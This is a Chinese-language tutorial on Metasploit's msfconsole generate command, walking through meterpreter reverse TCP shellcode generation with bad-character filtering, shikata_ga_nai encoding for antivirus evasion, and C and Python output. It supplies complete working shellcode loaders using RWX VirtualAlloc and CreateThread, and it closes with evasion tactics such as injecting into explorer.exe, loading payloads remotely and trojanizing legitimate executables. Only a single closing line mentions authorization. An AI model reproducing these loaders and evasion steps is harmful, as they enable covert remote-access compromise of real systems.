
1. 从“set payload”到“generate”理解MSFconsole的进阶玩法很多刚开始接触Metasploit的朋友第一个学会的命令可能就是use exploit/...然后紧接着就是set payload windows/meterpreter/reverse_tcp。这没错这是基础。但如果你以为Metasploit的payload生成就止步于此那可就错过了它最强大、最灵活的一部分——generate命令。set payload只是告诉框架“我准备用这个载荷了”而generate则是命令框架“现在立刻按照我的要求把这个载荷的‘机器码’也就是Shellcode给我吐出来”。这个区别就像是你去餐厅点菜set payload是你看菜单选了一道“红烧肉”而generate是让厨师把做这道“红烧肉”的详细食谱和切配好的半成品食材打包给你让你可以带回家自己加工甚至换个锅、换个调料重新烹饪。为什么这很重要因为在真实的渗透测试、漏洞研究或者某些特定的安全开发场景中你很少会直接拿着MSFconsole的exploit模块去“硬怼”。更多的时候你需要将生成的Shellcode嵌入到自己的漏洞利用程序Exploit、自定义的恶意文档、或者经过特殊处理的PE文件中。这时候一段可以直接复制粘贴的、格式正确的Shellcode就是无价之宝。generate命令就是为你生产这种“原材料”的车间。它能处理坏字符Bad Characters、应用编码器Encoder进行免杀混淆、调整输出格式Python, C, Raw等这些都是set payload后直接exploit所无法提供的精细控制。如果你还在为如何将Metasploit的载荷转换成C语言数组而头疼或者苦恼于生成的Shellcode总被杀软秒杀那么今天这篇手把手的指南就是为你准备的。我们将彻底告别“只会用set payload”的阶段深入generate命令的每一个参数并附上Python和C语言格式转换的实战技巧。2. generate命令核心参数全解与实战场景进入msfconsole后当你使用use payload/...选定一个载荷模块generate命令及其相关选项才会被激活。直接输入generate -h你会看到它的全部家当。我们来逐一拆解并说明每个参数在什么场景下会用到。2.1 基础生成与格式转换-t 参数这是最常用也是最先需要掌握的参数。-t指定输出格式。默认是ruby格式但对于我们大多数场景raw,c,python才是更常用的。场景一获取原始字节流Raw当你需要将Shellcode写入文件或者通过其他工具如msfvenom的-f raw选项进行二次处理时就需要原始格式。msf6 payload(windows/x64/meterpreter/reverse_tcp) generate -t raw \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52...这一长串\x开头的十六进制字节就是最纯粹的Shellcode。你可以用xxd或编程语言将其写入一个.bin文件。场景二嵌入C语言项目这是开发漏洞利用程序Exploit或编写小型注入工具时最常用的格式。-t c会生成一个标准的C语言字节数组。msf6 payload(windows/x64/meterpreter/reverse_tcp) generate -t c /* * windows/x64/meterpreter/reverse_tcp - 510 bytes * https://metasploit.com/ * VERBOSEfalse, LHOST192.168.1.100, LPORT4444, ... */ unsigned char buf[] \xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52 \x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48 \x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9;生成的内容可以直接复制到你的C源码中通常通过函数指针或内存API如VirtualAlloc,CreateThread来执行。场景三嵌入Python脚本对于使用Python进行快速原型验证、编写攻击脚本或制作恶意文档如带有宏的Office文件来说-t python格式极其方便。msf6 payload(windows/x64/meterpreter/reverse_tcp) generate -t python buf b buf b\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51 buf b\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52 buf b\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72在Python 3中这是一个bytes对象。你可以用ctypes库或者memoryview等方式将其加载到内存并执行。实操心得-t参数生成的内容包含了完整的注释如载荷名称、大小和参数设置。在复制到项目时建议保留这些注释方便日后回溯和审计。特别是当你在一个项目中管理多个不同参数的Shellcode时这些注释能帮你快速区分。2.2 规避坏字符-b 参数这是漏洞利用开发中的“生命线”。坏字符Bad Characters是那些在特定上下文中会导致Shellcode截断或变异的字节。最常见的坏字符是\x00空字节它在C语言中表示字符串结束在拷贝函数如strcpy中会截断后续内容。其他常见坏字符可能包括\x0a换行符\n、\x0d回车符\r、\xff等具体取决于目标程序的处理逻辑。使用-b参数指定需要规避的坏字符列表msf6 payload(windows/shell_reverse_tcp) generate -b \x00\x0a\x0d # windows/shell_reverse_tcp - 368 bytes # Encoder: x86/shikata_ga_nai # ...当你指定坏字符后Metasploit会自动选择一个合适的编码器如示例中的x86/shikata_ga_nai对原始Shellcode进行编码以避开这些字符。编码后的Shellcode在运行时会在内存中自行解码还原为可执行的原始代码。踩坑记录坏字符列表一定要基于对目标漏洞的充分分析如动态调试来确定。盲目添加过多坏字符如-b \x00\x01\x02...\xff会导致“无解”即没有任何编码器能完成任务最终报错[-] Payload generation failed: No encoders encoded the buffer successfully.。这就像让你用少了20个字母的字母表写一篇文章可能根本写不出来。正确的做法是通过调试逐步确认哪些是真正的坏字符只排除必要的。2.3 指定编码器-e 参数Metasploit内置了多种编码器它们不仅用于规避坏字符更是免杀Antivirus Evasion的关键。-e参数允许你手动指定编码器而不是让框架自动选择。为什么需要手动指定免杀需求不同的编码器产生的“特征”不同。杀毒软件对常见的shikata_ga_nai编码模式可能有较强的检测能力。换用一些冷门或非标准的编码器如x86/call4_dword_xor,x86/opt_sub可能绕过检测。字符集限制某些极端场景下要求Shellcode必须是纯字母数字Alphanumeric或纯可打印字符Printable。这时就需要使用专门的编码器如x86/alpha_mixed大小写字母和数字或x86/unicode_mixed。查看可用编码器msf6 payload(windows/shell_reverse_tcp) show encoders然后指定使用msf6 payload(windows/shell_reverse_tcp) generate -e x86/nonalpha -b \x00这条命令会尝试生成一个不包含字母字符A-Z, a-z的Shellcode同时规避空字节。注意事项手动指定编码器是一把双刃剑。首先它可能会显著增加Shellcode的体积有时甚至翻倍这可能在缓冲区空间有限的漏洞中导致失败。其次某些编码器对CPU架构或指令集有要求在极端环境下可能无法正常解码。因此在非必要情况下建议先让框架自动选择即只使用-b如果免杀效果不佳再尝试手动指定-e。2.4 迭代编码与免杀深化-i 参数-i参数指定编码迭代次数。你可以把它理解为给Shellcode“套上多层外壳”。编码器运行一次对Shellcode编码一次运行两次就对第一次编码的结果再进行一次编码以此类推。msf6 payload(windows/shell_reverse_tcp) generate -b \x00 -e x86/shikata_ga_nai -i 3作用增强免杀效果多层编码可以改变Shellcode的静态特征使其更难以被基于单层编码模式的杀毒签名检测到。改变代码形态每次编码都会使用不同的密钥或编码策略使得最终产出的字节序列差异很大。代价体积膨胀这是最直接的代价。每多一次迭代都会增加解码器Stub的体积。原始300字节的Shellcode迭代3次后可能变成500字节或更多。稳定性风险多层解码增加了运行时出错的风险尤其是在内存环境不稳定或存在DEP数据执行保护等缓解措施的系统上。经验之谈在实战中-i 2或-i 3是一个比较折中的选择能在免杀效果和体积/稳定性之间取得平衡。不建议盲目使用高迭代次数如5次以上除非你非常确定目标环境有足够的空间且你的首要目标是绕过静态检测。2.5 动态设置载荷参数-o 参数set LHOST和set LPORT是在msfconsole会话中设置变量的标准方式。但generate命令提供了一个更直接的“一站式”解决方案-o参数。它允许你在生成Shellcode的同时覆盖载荷模块的默认选项。查看当前载荷的选项msf6 payload(windows/x64/meterpreter/reverse_tcp) show options Module options (payload/windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port使用-o进行设置msf6 payload(windows/x64/meterpreter/reverse_tcp) generate -o LHOST10.0.0.5,LPORT8443,EXITFUNCthread -t c这条命令会生成一个连接回10.0.0.5:8443并使用thread方式退出的Meterpreter Shellcode并以C格式输出。这比先set再generate更快捷特别是在需要批量生成不同配置的Shellcode时。2.6 添加NOP雪橇-s 参数NOPNo-Operation指令是空操作CPU遇到它会简单地跳到下一条指令。在漏洞利用中在Shellcode前面放置一系列NOP指令称为NOP Sled或NOP Slide可以极大地提高攻击的容错率。原理如果你的跳转地址EIP/RIP覆盖值预测不是绝对精确只要落在了这片NOP区域CPU就会一路“滑行”执行NOP直到命中真正的Shellcode开始处。msf6 payload(windows/shell_reverse_tcp) generate -s 100 -t raw-s 100会在Shellcode前添加100字节的NOP指令。框架会自动选择一个合适的NOP生成器如x86/opty2。重要提示在现代操作系统中DEP数据执行保护机制会阻止在非可执行内存区域如栈执行代码。单纯的NOP Sled如果位于不可执行的内存页是无效的。因此-s参数更常用于针对旧系统或特定禁用DEP的场景。在利用现代漏洞时通常需要结合其他技术如ROP链来先启用可执行权限再跳转到Shellcode。2.7 保存到文件-f 参数与其在终端里复制一大段十六进制代码不如直接保存到文件。-f参数就是干这个的。msf6 payload(windows/x64/meterpreter/reverse_tcp) generate -o LHOST192.168.1.10 -t raw -f /tmp/msf_shellcode.bin [*] Writing 512 bytes to /tmp/msf_shellcode.bin...生成的文件是纯二进制文件可以用cat、xxd查看或者直接用于后续的二进制缝合操作。3. 实战生成免杀Shellcode并转换为Python/C格式现在我们结合上述所有参数完成一个完整的实战任务生成一个针对Windows x64系统的、具有一定免杀能力的Meterpreter反向TCP Shellcode并分别转换为可直接嵌入的Python和C格式。步骤1启动MSFconsole并选择载荷msfconsole use payload/windows/x64/meterpreter/reverse_tcp步骤2设计生成策略我们的目标是规避最常见的坏字符\x00(空),\x0a(换行),\x0d(回车)。使用编码器进行混淆尝试绕过基础杀毒检测。这里我们选择x86/shikata_ga_nai但它太常见所以我们再加一层x86/countdown编码通过-i 2实现两层不同编码但框架会自动选择编码器序列更稳妥是指定一个编码器迭代。实际上为了更可控的免杀我们手动指定编码器并迭代。但注意shikata_ga_nai是多态编码每次生成都不同这本身有助于免杀。我们迭代它。设置连接参数LHOST和LPORT。输出格式为C和Python。更优策略由于shikata_ga_nai迭代自身效果可能不理想我们采用组合编码。但MSF的generate命令一次只能用一个编码器。更高级的免杀通常需要借助msfvenom它支持编码器管道-e x86/shikata_ga_nai -i 5 -f raw | msfvenom -p - -e x86/countdown -i 3 -f c但在msfconsole内我们专注于generate的用法。这里我们演示使用generate进行基础免杀。步骤3生成C格式Shellcodemsf6 payload(windows/x64/meterpreter/reverse_tcp) generate -o LHOST192.168.1.100,LPORT443 -b \x00\x0a\x0d -e x86/shikata_ga_nai -i 3 -t c这条命令做了以下事情设置连接IP和端口为192.168.1.100:443HTTPS端口常用于绕过出站防火墙。规避\x00,\x0a,\x0d三个坏字符。使用x86/shikata_ga_nai编码器。迭代编码3次。输出为C语言格式。你会得到类似下面的输出/* * windows/x64/meterpreter/reverse_tcp - 687 bytes * https://metasploit.com/ * Encoder: x86/shikata_ga_nai * VERBOSEfalse, LHOST192.168.1.100, LPORT443, EXITFUNCprocess, * InitialAutoRunScript, AutoRunScript */ unsigned char buf[] \xba\x1f\x3e\x68\xf1\xdb\xd6\xd9\x74\x24\xf4\x5e\x29\xc9 \xb1\xa1\x31\x56\x13\x83\xee\xfc\x03\x56\x2c\xa2\xea\xb0 \xda\xaf\x15\x49\x1b\xd0\x9c\xac\x2a\xc2\xfb\xb9\x1e\xd2 ... // 省略后续字节步骤4生成Python格式Shellcode命令几乎一样只改变-t参数msf6 payload(windows/x64/meterpreter/reverse_tcp) generate -o LHOST192.168.1.100,LPORT443 -b \x00\x0a\x0d -e x86/shikata_ga_nai -i 3 -t python输出buf b buf b\xba\x1f\x3e\x68\xf1\xdb\xd6\xd9\x74\x24\xf4\x5e\x29 buf b\xc9\xb1\xa1\x31\x56\x13\x83\xee\xfc\x03\x56\x2c\xa2 buf b\xea\xb0\xda\xaf\x15\x49\x1b\xd0\x9c\xac\x2a\xc2\xfb ... // 省略后续字节4. 格式转换后的集成与应用生成了Shellcode只是第一步。如何把它用起来才是关键。4.1 C语言格式集成示例在C项目中你需要将Shellcode加载到内存并执行。以下是一个经典的Windows平台示例#include windows.h #include stdio.h // 将generate -t c 生成的数组粘贴在这里 unsigned char shellcode[] \xba\x1f\x3e\x68\xf1\xdb\xd6\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\xa1...; int main() { // 1. 申请一块可读、可写、可执行的内存 LPVOID execMem VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (execMem NULL) { printf(VirtualAlloc failed. Error: %d\n, GetLastError()); return -1; } // 2. 将Shellcode拷贝到这块内存 RtlMoveMemory(execMem, shellcode, sizeof(shellcode)); // 3. 创建一个线程来执行这块内存中的代码 HANDLE threadHandle CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL); if (threadHandle NULL) { printf(CreateThread failed. Error: %d\n, GetLastError()); VirtualFree(execMem, 0, MEM_RELEASE); return -1; } // 4. 等待线程执行完毕对于反向连接Shell这里可能会一直等待 WaitForSingleObject(threadHandle, INFINITE); // 5. 清理 CloseHandle(threadHandle); VirtualFree(execMem, 0, MEM_RELEASE); return 0; }编译注意事项在Visual Studio中编译此类代码可能需要关闭GS/GS-、DEP/NXCOMPAT:NO等安全选项并可能需要在链接器中启用“增量链接”或调整节区属性。更隐蔽的做法是使用HeapCreate/HeapAlloc或NtCreateSection等API来分配内存。4.2 Python格式集成示例在Python中可以使用ctypes库调用Windows API或者使用memoryview和mmap等模块。下面是一个使用ctypes的简单示例import ctypes import sys # 将 generate -t python 生成的bytes对象粘贴在这里 shellcode b\xba\x1f\x3e\x68\xf1\xdb\xd6\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\xa1... def run_shellcode(shellcode_bytes): # 将bytes转换为bytearray以便修改如果需要 sc_array bytearray(shellcode_bytes) # 使用ctypes调用Windows API kernel32 ctypes.windll.kernel32 # 1. 申请可执行内存 # 注意: ctypes.sizeof(ctypes.c_char * len(sc_array)) 计算大小 size len(sc_array) # 另一种方法直接使用 ctypes.create_string_buffer 但需要可执行权限所以用VirtualAlloc exec_mem kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(size), ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE ) if not exec_mem: print([!] VirtualAlloc failed.) sys.exit(1) # 2. 将Shellcode写入内存 # 使用 ctypes.memmove 或创建一个可写的buffer然后拷贝 buffer (ctypes.c_char * size).from_buffer(sc_array) ctypes.memmove(ctypes.c_void_p(exec_mem), buffer, size) # 3. 创建线程执行 thread_handle kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_void_p(exec_mem), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) if not thread_handle: print([!] CreateThread failed.) kernel32.VirtualFree(exec_mem, 0, 0x8000) # MEM_RELEASE sys.exit(1) # 4. 等待线程结束 kernel32.WaitForSingleObject(ctypes.c_int(thread_handle), ctypes.c_int(-1)) # 5. 清理 (可选因为进程可能结束) kernel32.CloseHandle(ctypes.c_int(thread_handle)) kernel32.VirtualFree(ctypes.c_void_p(exec_mem), ctypes.c_int(0), ctypes.c_int(0x8000)) if __name__ __main__: run_shellcode(shellcode)重要警告上述Python代码在具有严格反病毒软件或EDR终端检测与响应的系统上极易被检测。在实际的免杀场景中需要结合更多的技术如Shellcode加密、延迟加载、API动态解析、父进程欺骗PPID Spoofing等。直接使用PAGE_EXECUTE_READWRITE权限和CreateThread是高度可疑的行为。5. 高级技巧与疑难问题排查5.1 从Raw格式到Python/C格式的手动转换有时你可能从其他渠道获得了一段Raw格式纯十六进制字节的Shellcode或者用-f raw保存到了文件需要手动转换成编程语言格式。Python转换脚本示例def raw_to_python(raw_bytes_file, output_py_file): with open(raw_bytes_file, rb) as f: shellcode f.read() hex_str shellcode.hex() # 每12个字节24个十六进制字符为一行格式化为 b\x..\x.. lines [] for i in range(0, len(hex_str), 24): chunk hex_str[i:i24] line b for j in range(0, len(chunk), 2): line f\\x{chunk[j:j2]} line lines.append(line) with open(output_py_file, w) as f: f.write(buf b\n) for line in lines: f.write(fbuf {line}\n) print(f[] Python shellcode saved to {output_py_file}) # 使用: raw_to_python(shellcode_raw.bin, shellcode.py)C语言转换脚本示例使用xxd工具Linux/macOS下xxd -i命令是神器xxd -i shellcode_raw.bin shellcode.h这会生成一个.h文件内容类似unsigned char shellcode_raw_bin[] { 0xba, 0x1f, 0x3e, 0x68, 0xf1, 0xdb, 0xd6, 0xd9, 0x74, 0x24, 0xf4, 0x5e, ... }; unsigned int shellcode_raw_bin_len 687;在Windows上如果没有xxd可以用PowerShell或Python脚本实现类似功能。5.2 常见生成错误与解决方案[-] Payload generation failed: No encoders encoded the buffer successfully.原因指定的坏字符-b列表过于严格或者选择的编码器-e无法在满足坏字符限制的前提下编码该载荷。解决重新评估坏字符列表是否包含了所有必须的坏字符能否减少几个尝试换一个编码器。例如如果x86/shikata_ga_nai失败试试x86/fnstenv_mov或x86/countdown。如果坏字符中包含\x00这是最常见的通常编码器都能处理。但如果包含了像\x0a,\x0d,\xff等多个可能就需要放宽限制。生成的Shellcode体积过大原因使用了多层迭代-i值过大或选择了体积膨胀严重的编码器如x86/nonalpha或添加了过长的NOP雪橇-s。解决评估漏洞利用的缓冲区空间大小。如果空间有限例如只有200字节就必须精简。减少迭代次数-i 1或2。尝试不同的编码器组合。x86/shikata_ga_nai通常在大小和可靠性上比较均衡。考虑使用更小的载荷例如windows/shell_reverse_tcp比windows/x64/meterpreter/reverse_tcp小很多。使用msfvenom的-x捆绑和-k保留原功能选项可能不是最优解因为它会捆绑一个完整的PE模板。Shellcode在目标系统上执行失败崩溃、无连接原因坏字符未排除干净这是最常见的原因。可能有一个隐藏的坏字符如\x09制表符你没发现。内存地址问题x86和x64的Shellcode不通用。确保生成的架构与目标系统匹配。编码/解码失败某些编码器在极端或受限环境下如存在DEP、ASLR可能无法正确解码。网络问题防火墙、出站规则阻止了连接或者LHOST/LPORT设置错误。排查动态调试在类似目标环境虚拟机中用调试器x64dbg, WinDbg跟踪Shellcode执行看在哪条指令崩溃。简化测试先生成一个最基础的、无编码、无坏字符限制的Shellcode例如windows/exec执行calc.exe进行测试确保执行环境本身没问题。网络抓包使用Wireshark等工具检查是否有TCP SYN包从目标发出确认连接尝试是否发生。5.3 免杀进阶思路仅仅依靠MSF的编码器尤其是shikata_ga_nai已经很难绕过现代杀毒软件。你需要将其作为第一步然后结合其他技术二次加密/混淆用generate -t raw生成原始编码后的Shellcode然后用一个自定义的、简单的XOR或AES加密算法进行二次加密。在加载器Loader中内置解密例程。分离加载不将Shellcode直接嵌入程序。而是将其放在远程服务器、图片隐写、注册表或文件中由加载器在运行时动态下载或读取并解密执行。API动态解析在加载器中不要直接调用VirtualAlloc、CreateThread等敏感API。使用GetProcAddress和LoadLibrary动态解析API地址或者使用直接系统调用Syscall来规避用户态的API钩子Hooking。进程注入将Shellcode注入到另一个合法进程如explorer.exe,svchost.exe的空间中执行这比在自己进程内创建线程更隐蔽。使用msfvenom的模板-x和捆绑-k虽然本文聚焦msfconsole的generate但msfvenom的-x参数允许你指定一个合法的可执行文件如putty.exe作为模板将Shellcode注入其中并保持原文件功能-k。这需要更复杂的操作通常在命令行下用msfvenom完成。msfconsole的generate命令是你从Metasploit框架中提取“武器化”代码的核心工具。它提供的精细控制是自动化攻击向量exploit和手动武器化开发之间的桥梁。掌握它意味着你能将Metasploit的能力无缝集成到自己的工具链和攻击流程中。从理解每个参数的意义到熟练地进行格式转换和集成再到能够排查生成和执行过程中的问题这是一个红队研究员或渗透测试员必备的技能。记住工具是死的人是活的。generate给了你原料如何烹饪出一道能绕过防御、直击目标的“佳肴”还需要你根据具体的战场环境目标系统、防护软件、网络策略灵活运用和不断创新。最后所有的学习和测试都请在授权的、隔离的环境中进行切勿用于非法用途。